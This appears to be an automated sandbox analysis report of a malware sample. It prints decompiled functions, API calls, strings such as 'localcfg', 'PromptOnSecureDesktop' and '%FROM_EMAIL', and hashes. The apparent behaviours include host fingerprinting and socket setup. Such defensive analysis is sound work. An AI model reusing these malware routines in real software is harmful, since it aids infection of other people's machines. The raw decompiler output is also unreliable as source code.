							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x74e043e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(74E043E8,00000000,?,74E043E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,74E043E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,74E043E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 0057BCA4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057BB82
wsprintfA.USER32 ref: 0057BCD5

Part of subcall function 0057ADD1: lstrcpyn.KERNEL32(?,?,0000003E), ref: 0057AE09

InterlockedIncrement.KERNEL32(?), ref: 0057BDFE

Strings

0t, xrefs: 0057BB82

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTicklstrcpynwsprintf
String ID: 0t
API String ID: 1085182253-1355922044
Opcode ID: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction ID: babd53967b0a1d46d5bf7b8d3764cbf0649cf2ca780e858f7c5329052f898553
Opcode Fuzzy Hash: 820597d01a9478628097e3db4953929dbabae1dcb8fbf00f62f3edaa8e401da7
Instruction Fuzzy Hash: 4A413971900248DFEF25DF64EC85BE97BA5FB44301F248456FE2892261E735DA80EF50

Uniqueness

Uniqueness Score: -1.00%

Function 00437814, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00437873
_memset.LIBCMT ref: 004378FC
__invalid_parameter.LIBCMTD ref: 0043795B

Strings

P, xrefs: 00437970

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 71a19e293a7895fc4d81b734992a88cc83c6bf3592622c3dfaa8b26bb6ca6484
Instruction ID: cafc55bee737b4a658bf09cea4fabbc41f5ab05283e22bc6e279146cb417a1ba
Opcode Fuzzy Hash: 71a19e293a7895fc4d81b734992a88cc83c6bf3592622c3dfaa8b26bb6ca6484
Instruction Fuzzy Hash: BE41ADB0E04209EBDB24DF58C8897AE7771FF48314F10976AE8A52A3D0D3799951CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0057E77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057DF55: GetCurrentThreadId.KERNEL32 ref: 0057DFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,0057A695), ref: 0057E7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,0057A695), ref: 0057E7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,0057A695), ref: 0057E802

Strings

PromptOnSecureDesktop, xrefs: 0057E829, 0057E82E, 0057E865, 0057E884

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: 8fcc686e4b12eae2688add74c1e86d1bf17b28dcf7e6489abf5579a3dd1d5773
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: 2121E7B1A003027AE6257B317C4FF9B3E1CFF99750F108164FA0EA51D3EAA5D850A2B5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,74E043E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0043C3C6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C440
__aullrem.LIBCMT ref: 0043C610
__aulldiv.LIBCMT ref: 0043C632

Strings

9, xrefs: 0043C643

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: 0469d0d165efa2d4b381b09a2cf2c4d36f50e64af713c285027a9137f62f9078
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: 174119B1E10129AFDB24CF48C881BAEB7B5FF89314F10519AD149BB241D738AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0057BC63, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0057BA23
InterlockedIncrement.KERNEL32(?), ref: 0057BA7D
GetTickCount.KERNEL32 ref: 0057BB62
GetTickCount.KERNEL32 ref: 0057BB82
InterlockedIncrement.KERNEL32(?), ref: 0057BDFE
closesocket.WS2_32(00000000), ref: 0057BE9D

Strings

0t, xrefs: 0057BB82
%FROM_EMAIL, xrefs: 0057BC66

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL$0t
API String ID: 1869671989-1316789084
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: cf38285fa3348e8eb274160a80a4e180cb05592c7205452b491f632fdfc7afda
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: 61315E71500248DFEF25DFA4EC48BED7BA8FB44700F208456FA2892251EB35DA84EF14

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

